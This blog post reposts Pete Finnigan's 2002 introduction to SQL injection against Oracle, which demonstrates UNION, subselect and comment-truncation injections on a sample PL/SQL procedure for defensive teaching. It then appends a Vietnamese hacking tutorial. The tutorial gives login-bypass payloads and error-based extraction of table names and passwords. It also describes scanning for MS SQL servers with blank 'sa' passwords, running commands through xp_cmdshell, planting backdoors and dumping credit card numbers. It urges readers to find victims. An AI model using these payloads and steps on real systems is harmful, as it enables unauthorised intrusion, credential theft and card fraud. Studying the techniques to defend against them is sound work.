jump to navigation

SQL Injection and Oracle, Part One(Pete Finnigan) June 13, 2008

Posted by haind in oracle.
trackback

SQL Injection and Oracle, Part One
Pete Finnigan 2002-11-21

SQL Injection and Oracle, Part One
by Pete Finnigan
last updated November 21, 2002


SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There have been many good papers written about SQL Injection and a few about the security of Oracle databases and software but not many that focus on SQL injection and Oracle software. This is the first article in a two-part series that will examine SQL injection attacks against Oracle databases. The objective of this series is to introduce Oracle users to some of the dangers of SQL injection and to suggest some simple ways of protecting against these types of attack.

Oracle is a huge product and SQL injection can be applied to many of its modules, languages and APIs, so this paper is intended to be an overview or introduction to the subject. This two-part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor is it intended as a detailed discussion on the finer points of the technique in general. (Details of SQL injection techniques have been covered admirably in the past for other languages and databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers are included in the reference section at the end of this paper.) Rather, I have designed this paper so that as many readers as possible can try out the examples. To achieve this I have used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus.

Prior to commencing our discussion, it may be useful for readers to know that all of the code from this paper is available from the author’s Web site at http://www.petefinnigan.com from the scripts menu – SQL and PL/SQL option..

What is SQL Injection

SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first.

An attack against a database using SQL Injection could be motivated by two primary objectives:

  1. To steal data from a database from which the data should not normally be available, or to obtain system configuration data that would allow an attack profile to be built. One example of the latter would be obtaining all of the database password hashes so that passwords can be brute-forced.
  2. To gain access to an organisation’s host computers via the machine hosting the database. This can be done using package procedures and 3GL language extensions that allow O/S access.

There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application.

  • JSP
  • ASP
  • XML, XSL and XSQL
  • Javascript
  • VB, MFC, and other ODBC-based tools and APIs
  • Portal, the older WebDB, and other Oracle Web-based applications and API’s
  • Reports, discoverer, Oracle Applications
  • 3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL
  • Perl and CGI scripts that access Oracle databases
  • many more.

Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible.

The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not.

While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users.

Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are:

  1. Audit the application code and change or remove the problems that allow injection to take place. (These problems will be discussed at greater length in the second part of this series.)
  2. Enforce the principle of least privilege at the database level so that even if someone is able to SQL inject an application to steal data, they cannot see anymore data than the designer intended through any normal application interface.

The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications.

How Can Oracle be Abused

Oracle is like any other database product and, as a result, is vulnerable to SQL injection attacks. While Oracle fairs slightly better than some of the others, the following abuses can be inflicted on an Oracle database:

  • UNIONS can be added to an existing statement to execute a second statement;
  • SUBSELECTS can be added to existing statements;
  • Existing SQL can be short-circuited to bring back all data. This technique is often used to gain access via third party-implemented authentication schemes;
  • A large selection of installed packages and procedures are available, these include packages to read and write O/S files;
  • Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string;
  • INSERTS, UPDATES and DELETES can also be injected; and,
  • Other databases can be injected through the first by using database links.

On the other hand, the following abuses are not possible:

  • Multiple statements are not allowed; and,
  • It is also not possible to SQL inject a call that uses bind variables; this is therefore a good solution to most of the SQL injection issues.

Some Specific Examples

Web-based applications constitute the worst threat of SQL injection. These can be written using JSP, ASP, or many of the other languages listed above. Some would argue that SQL injection is only an issue for Web-based applications and at this time this is probably true, as SQL injection is not a particularly well-established threat, especially with Oracle.

To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple PL/SQL procedure that displays the phone number of customers from a hypothetical customer table in a database. As stated in the introduction, it is possible to inject into any piece of SQL that is dynamically built at run time where the input data is not filtered or checked, so it is possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool SQL*Plus. The procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the samples, as no special tools are required other than to have an Oracle database greater than 8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based SQL injection except that it is local and not remote, readers should bear this in mind while reading through this paper. Also, because of this approach we do not use any character encoding techniques to pass special characters or metacharacters to the database server from a Web browser. The example table structure used is:

SQL> desc customers
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 CUSTOMER_FORNAME                                   VARCHAR2(30)
 CUSTOMER_SURNAME                                   VARCHAR2(30)
 CUSTOMER_PHONE                                     VARCHAR2(30)
 CUSTOMER_FAX                                       VARCHAR2(30)
 CUSTOMER_TYPE                                      NUMBER(10)

The table has been loaded with three records as follows:

SQL> select * from customers;

CUSTOMER_FORNAME               CUSTOMER_SURNAME
------------------------------ ------------------------------
CUSTOMER_PHONE                 CUSTOMER_FAX                   CUSTOMER_TYPE
------------------------------ ------------------------------ -------------
Fred                           Clark
999444888                      999444889                                  3

Bill                           Jones
999555888                      999555889                                  2

Jim                            Clark
999777888                      999777889                                  1

The sample procedure used is created with the following code. For these tests I have used the default user DBSNMP, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to least privilege:

create or replace procedure get_cust (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                        'from customers '||
                                        'where customer_surname='''||
                                        lv_surname||'''';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
end get_cust;
/

It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure:

SQL> exec get_cust('x'' select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended

The procedure expects a surname of a customer and should build a statement of the form:

select customer_phone from customers where customer_surname='Jones'

As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next:

SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character

Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing where clause or to use a union or a subselect. The next example shows how to get extra data from another table. In this case, we will read a list of users in the database from the dictionary view ALL_USERS.

SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR

The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table:

SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888

The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance.

The next example discusses truncating the rest of a where clause so that all of the records in the table are returned. The classic use of this is the case where the Web application writers have implemented authentication and the method of logging in is to find a valid record in the users table where the username and password match. Such an example could be:

select * from appusers where username=’someuser’ and password=’somecleverpassword’

To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the where clause as follows:

SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888

Next, the procedure has been modified to extend the SQL used so that there is a second part of the where clause to truncate. Here is the modified procedure first:

create or replace procedure get_cust2 (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname='''||
                                lv_surname||''' and customer_type=1';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;

This is to demonstrate the use of the “- -“ comment characters to truncate the end of a where clause. This technique is useful where an application screen has more than one entry field that is added to the dynamic SQL and passed to the database. To simplify adding extra SQL to get around all of the fields we can add a “- -“ in what we think is the first field on the screen and first add the SQL we need. The following demonstrates this:

SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888

Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the union and the select on the table all_users as above and then comment out the rest of the where clause.

All of the above examples show select statements being injected with extra SQL. The same principles also apply to insert statements, update statements and delete statements. Other statements available in Oracle include DDL (Data Definition Language) statements, which are statements to alter the schema or database instance. Examples include creating tables or indexes or altering the language set used. Statements cannot generally be mixed because, as was illustrated above, we cannot just send two statements to the RDBMS at the same time, so if a select statement is the only one available we cannot just add a delete or insert to it. Often applications include a way to send any SQL to the server. This is bad programming practice, as it allows statements such as DDL to be executed. It can be argued that this case is not SQL injection because any SQL can be executed, therefore you do not need to alter an existing piece!

The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows:

SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
  2  from dba_objects
  3  where object_type in('PACKAGE','FUNCTION','PROCEDURE');

OWNER           OBJECT_TYPE                    OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS             FUNCTION                       CLIENT_IP_ADDRESS
SYS             FUNCTION                       DATABASE_NAME
SYS             FUNCTION                       DBJ_LONG_NAME
SYS             FUNCTION                       DBJ_SHORT_NAME
SYS             PACKAGE                        DBMSOBJG
…
CTXSYS          PACKAGE                        DR_DEF
CTXSYS          PROCEDURE                      SYNCRN

391 rows selected.

Here is an example that calls a built in function supplied with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it illustrates the principle.

SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP

The functions or procedures that can be called from SQL are quite limited: the function must not alter the database state or package state if called remotely, and the function cannot alter package variables if it is called in a where clause or group by clause. In versions earlier than Oracle 8, very few built-in functions or procedures can be called from a PL/SQL function that is called in SQL statements. The restrictions have been lifted somewhat from Oracle 8, but users should not expect to be able to call file or output type packages such as UTL_FILE or DBMS_OUTPUT or DBMS_LOB directly from SQL statements, as they must be executed in a PL/SQL block or called by the execute command from SQL*Plus. It is possible to use many of these procedures if they are part of a function that is written to be called from SQL.

To SQL inject and use PL/SQL packages, procedure or functions really requires a case of dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same manner as described above, the same techniques can be used to insert calls to standard PL/SQL packages on any PL/SQL packages or functions that exist in the schema.

If any database links exist from the database being attacked to any other database in the organisation, those links can also be utilized in SQL injection attempts. This allows an attack through the firewall to a database that is potentially not even accessible from the Internet! Here is a simple example using our PL/SQL procedure to read the system date from another database on my network.

SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02

Conclusion

This concludes the first instalment in our two-part series on SQL injection and Oracle database software. This article has offered a brief overview of SQL injection, as well as some examples of how this technique may be employed against Oracle software. The next part will cover detecting SQL injection and protecting against SQL injection.

Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently working in the UK financial sector and has recently completed the new Oracle security step-by-step guide for the SANS institute. Pete has many years of development and administration experience in many languages. Pete is regarded as one of the worlds leading experts on Oracle security.

Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the SANS Institute.

Relevant Links

All of the code from this paper is available from the author’s Web site from the scripts menu – SQL and PL/SQL option.<!–
www.petefinnigan.com

Protecting Oracle Databases Whitepaper
Aaron Newman, Application Security Inc

Hackproofing Oracle Application Servers
David Litchfield, NGSSoftware Insight Security Research

Rain Forest Puppy

RFPlutonium to fuel your PHP-Nuke
Rain Forest Puppy

NT Web Technologies Vulnerabilities
Rain Forest Puppy

——————–More————————

Bài này sưu tầm từ http://k49c.net/forum/

Hầu hết các chương trình ứng dụng web mới đều dựa trên cấu trúc dữ liệu động để để đạt được tính hấp dẫn của các chương trình desktop cổ điển. Cơ chế động này đạt được bằng cách thu thập dữ liệu từ 1 database. Một trong những nền database phổ biến hơn cả trong các ứng dụng e-shop là SQL. Rất nhiều các ứng dụng web chỉ dựa hoàn toàn vào những scripts ở đầu vào ( phía người dùng – client ), những đoạn scripts này chỉ đơn giản là truy vấn 1 SQL database nằm ở ngay trên webserver hay nằm trên 1 hệ thống đầu cuối ( phía server ) riêng biệt. Một trong những cách tấn công khó bị nhận thấy và nguy hiểm nhất lên 1 ứng dụng web bao gồm việc chiếm đoạt những chuỗi truy vấn được dùng bởi các scripts, để đoạt quyền điểu khiển ứng dụng đó hoặc các dữ liệu của nó. Một trong những cơ chế hiệu quả nhất để đạt được điều đó là một kỹ thuật gọi là SQL injection ( kỹ thuật chèn những câu lệnh SQL )

Cơ sở dữ liệu là trái tim của một website thương mại. Một cuộc tấn công vào server lưu giữ CSDL có thể gây ra thất thoát lớn về tài chính cho công ty. Thông thường CSDL bị hack để lấy các thông tin về thẻ tín dụng. Chỉ cần một cuộc tấn công sẽ làm giảm uy tín và lượng khách hàng bởi vì họ muốn thông tin về CC của mình được an toàn. Hầu hết các website thương mại dùng Microsoft SQL (MSSql) và Oracle. MSSQL vẫn đang chiếm ưu thế trên thị trường vì giá thành rẻ. Trong khi Oracle server được bán mắc hơn. Oracle đã từng tuyên bố là “không thể xâm nhập được”, nhưng những hacker coi đó như là 1 lời thách thức và đã tìm ra rất nhiều lỗi trong Oracle server..

Bài viết được chia làm 2 phần
1. Dùng HTTP cổng 80
2. Dùng MS SQL cổng 1434

Phần 1 – Dùng cổng 80 HTTP
—————————————————————-

Kiến thức trong phần này hữu ích không chỉ đối với các hacker mà còn với những người thiết kế web. Chỉ cần một lỗi thông thường tạo ra bởi người thiết kế web có thể làm lộ thông tin về CSDL của server cho hacker. Toàn bộ mục đích của trò chơi là các chuỗi truy vấn. Người đọc coi như có kiến thức về các truy vấn và ngôn ngữ asp ( active server pages ). Thêm nữa là cách tấn công này thường chỉ cần dùng bằng 1 trình duyệt internet. Vì vậy bạn không cần bất cứ một tool nào ngoại trừ IE hay Netscape.

Thông thường, để làm 1 trang đăng nhập, người thiết kế web sẽ viết 1 đoạn mã như sau:

login.htm

<html>
<body>
<form method=get action=”logincheck.asp”>
<input type=”text” name=”login_name”>
<input type=”text” name=”pass”>
<input type=”submit” value=”sign in”>
</form>
</body>
</html>

File logincheck.asp nằm trên server dùng để kiểm tra thông tin do user nhập vào có nội dung:

logincheck.asp

<@language=”vbscript”>
<%
dim conn,rs,log,pwd
log=Request.form(“login_name”)
pwd=Request.form(“pass”)

set conn = Server.CreateObject(“ADODB.Connection”)
conn.ConnectionString=”provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb”
conn.Open
set rs = Server.CreateObject(“ADODB.Recordset”)
rs.open “Select * from table1 where login=’”&log& “‘ and password=’” &pwd& “‘ “,conn
If rs.EOF
response.write(“Login failed”)
else
response.write(“Login successful”)
End if
%>

Thoạt tiên đoạn code trên có vẻ ổn. 1 người dùng type username và pass trong trang login.htm và click ‘Submit’. Giá trị được type vào sẽ được browser chuyển về cho logincheck.asp kiểm tra bằng cách dùng câu truy vấn “Select * from table1 where login=’”&log& “‘ and password=’” &pwd& “‘ “.
Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn:

“Select * from table1 where login=’”&log& “‘ and password=’” &pwd& “‘ “

Nếu 1 user type tên đăng nhập là “hack” và mật khẩu là “passne” thì những giá trị này sẽ được chuyển cho trang asp với method “POST” và câu truy vấn trên trở thành:

“Select * from table1 where login=’ hack’ and password=’ passne ‘ “

Tốt. Nếu như có 1 dòng chứ login name “hack” và password “passne” trong CSDL thì chúng ta sẽ nhận được thông báo đăng nhập thành công. Nhưng nếu như type loginname là “hack” và password là hi’ or ‘a’='a’ trong phần password ? Câu truy vấn sẽ trở thành:

“Select * from table1 where login=’ hack’ and password=’ hi’ or ‘a’='a ‘ “

Click ‘Submit’ và Bingo, đăng nhập thành công. Chuỗi truy cập được thoả mãn khi điều kiện là password bằng ‘hi’ HOẶC ‘a’='a’. Điều này luôn đúng và hacker sẽ đăng nhập với nick ‘hack’. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website:

hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi”) or (“a”=”a

Dấu — được thêm vào làm cho phần còn lại của chuỗi truy vấn trở thành ‘chú thích’ nên các điều kiện khác sẽ không bị kiểm tra. Tương tự có thể dùng:
hack’ –
hack” –

hoặc những username khác và chọn lựa password bất kỳ để có thể đăng nhập được. Bởi vì trong câu truy vấn chỉ có phần username được kiểm tra là ‘hack’ và phần còn lại bị bỏ đi do có dấu — . Nếu may mắn gặp được vào những website mà người thiết kế web đã mắc những lỗi trên, và bạn có thể login với bất kỳ username nào.

Cách tấn công cao cấp hơn: dùng các thông báo lỗi của ODBC
————————————————————–

Theo trên ta có thể thấy cách login mà không cần phải biết bất cứ 1 password nào. Dưới đây là cách để đọc toàn bộ CSDL chỉ bằng cách dùng các truy vấn trong URL. Cách này chỉ thực hiện được đối với IIS servers, nghĩa là với các trang asp. Và IIS được sử dụng trong gần 35% các ứng dụng thương mại web. Vì vậy chắc chắn bạn sẽ tìm ra 1 nạn nhân sau khi chỉ search một vài website. Thí dụ như:

http://www.nosecurity.com/mypage.asp?id=45

trong URL, dấu ‘?’ cho thấy đằng sau nó, giá trị 45 sẽ được chuyển cho 1 thông số ẩn. Chúng ta hãy xem lại ví dụ trên, trang login.htm có 2 form input dạng text tên là ‘login_name’ và ‘pass’, và các giá trị của 2 form này sẽ được chuyển cho logincheck.asp

Việc đăng nhập thành công cũng có thể thực hiện bằng cách mở trực tiếp trang logincheck.asp bằng cách dùng link:http://www.nosecurity.com/loginchec…ack&pass=passne nếu method là GET thay vì POST ( save html lại và sửa POST bằng GET )

Lưu ý: sự khác nhau giữa GET và POST là POST sẽ không hiện ra các giá trị được chuyển sang trang sau trên URL trong khi GET làm hiện lên các giá trị này. Để biết thêm về GET và POST nên đọc thêm RFC 1945 và 2616 trong giao thức HTTP

Sau dấu ‘?’ thì các biến được dùng trong trang logincheck.asp sẽ được gán bằng giá trị hacker type vào. Trong URL trên thì login_name sẽ được gán với giá trị hack. Các giá trị khác nhau được ngăn cách bởi dấu ‘&’
Quay trở lại trang index.htm, biến id có thuộc tính ẩn và tuỳ theo những link người dùng click, giá trị của id sẽ thay đổi. Giá trị này sẽ được chuyển vào trong câu truy vấn mypage.asp và user sẽ được trả về trang mình muốn. Ứng với giá trị của ‘id’ là 46 sẽ có một trang khác.

Chúng ta bắt đầu hack: type thêm vào trên URL câu truy vấn sau:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

information_schema.tables là một table hệ thống chứa thông tin về tất cả table của server. Trong đó có một field table_name chứa tất cả tên của các table. Chuỗi query SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES trả về giá trị là tên của table đầu tiên với kiểu string (nvarchar) trong INFORMATION_SCHEMA.TABLES, và chúng ta lại gộp nó 45 là một giá trị số. Vì vậy server sẽ thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘logintable’ to a column of data type int. /mypage.asp, line

Trong thông báo lỗi trên ta nhận được một table là ‘logintable’. Table này có thể chứa tên truy cập và password của các user. Tiếp tục type câu lệnh sau lên URL:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’–

Tương tự table_name, column_name cũng là 1 field trong table hệ thống INFORMATION_SCHEMA.COLUMNS chứa tất cả tên các column. Và ta đang gộp tên của column đầu tiên trong table ‘logintable’ với giá trị 45, nên sẽ có thông báo lỗi:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int. /index.asp, line 5

Thông báo lỗi cho thấy column đầu tiên trong ‘logintable’ là ‘login_id’, để lấy tên của column thứ 2:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int. /index.asp, line 5

Chúng ta có thêm 1 column nữa là ‘login_name’, tiếp tục lấy column thứ 3

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’)–

Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘passwd’ to a column of data type int. /index.asp, line 5

Đây là thông tin ta cần có: password login. Bước kế tiếp là lấy thông tin login và password từ table ‘logintable’, type;

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable–

Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Rahul’ to a column of data type int. /index.asp, line 5

Đây rồi: 1 trong những login name là ‘Rahul’, câu lệnh lấy password của user Rahul sẽ là:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name=’Rahul’–

Output:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘P455w0rd’ to a column of data type int. /index.asp, line 5
OK, tên truy cập : Rahul và mật khẩu là p455w0rd. Ta đã crack được CSDL của www.nosecurity.com. Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của người dùng. Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống tốt nhất là phân tích những request của user và lọc đi các ký tự như ‘, “, –, : ….

Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL )
——————————————————

Chúng ta đã thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed URL và chỉ bằng cổng 80 ( cổng http ). Sau đây ta sẽ hack database dùng port 1434. Trước khi hack chúng ta nên biết thật sự các database server là gì và hoạt động như thế nào, cùng với cách khai thác chúng.

Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm:
sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó
VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables -> hiển thị tất cả table trong database hiện tại
VD: EXEC sp_tables

xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root )

xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng.

xp_regdeletekey -> xoá một key trong registry của windows
xp_regdeletevalue -> xoá một giá trị trong registry
xp_regread -> in 1 giá trị trong registry lên màn hình
xp_regwrite -> gán 1 giá trị mới cho 1 key
xp_terminate_process -> ngừng một process nào đó

Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete

Lưu ý:”Master” là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài “Master” db ra còn có “Syslogins” là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là “sa” với password “” ( không có pass )

Tiếp theo là cách hack db. Đầu tiên ta cần tìm ra một server bị lỗi. Download 1 chương trình scan port và scan 1 dãy ip để tìm ip có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào:
Cosql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]

Đây là help file cho osql. Tiếp tục:
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
Nếu chung ta nhận được dấu nhắc
1>
có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user “sa”

Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục “xp_cmdshell” như sau:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”

Tôi khuyến khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự ta có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Ta cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”

Kiếm thông tin login trong các table như login, accounts, users …
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”

và lấy thông tin về username cùng với credit card.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”

Output:

Username creditcard expdate
———– ———— ———-
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
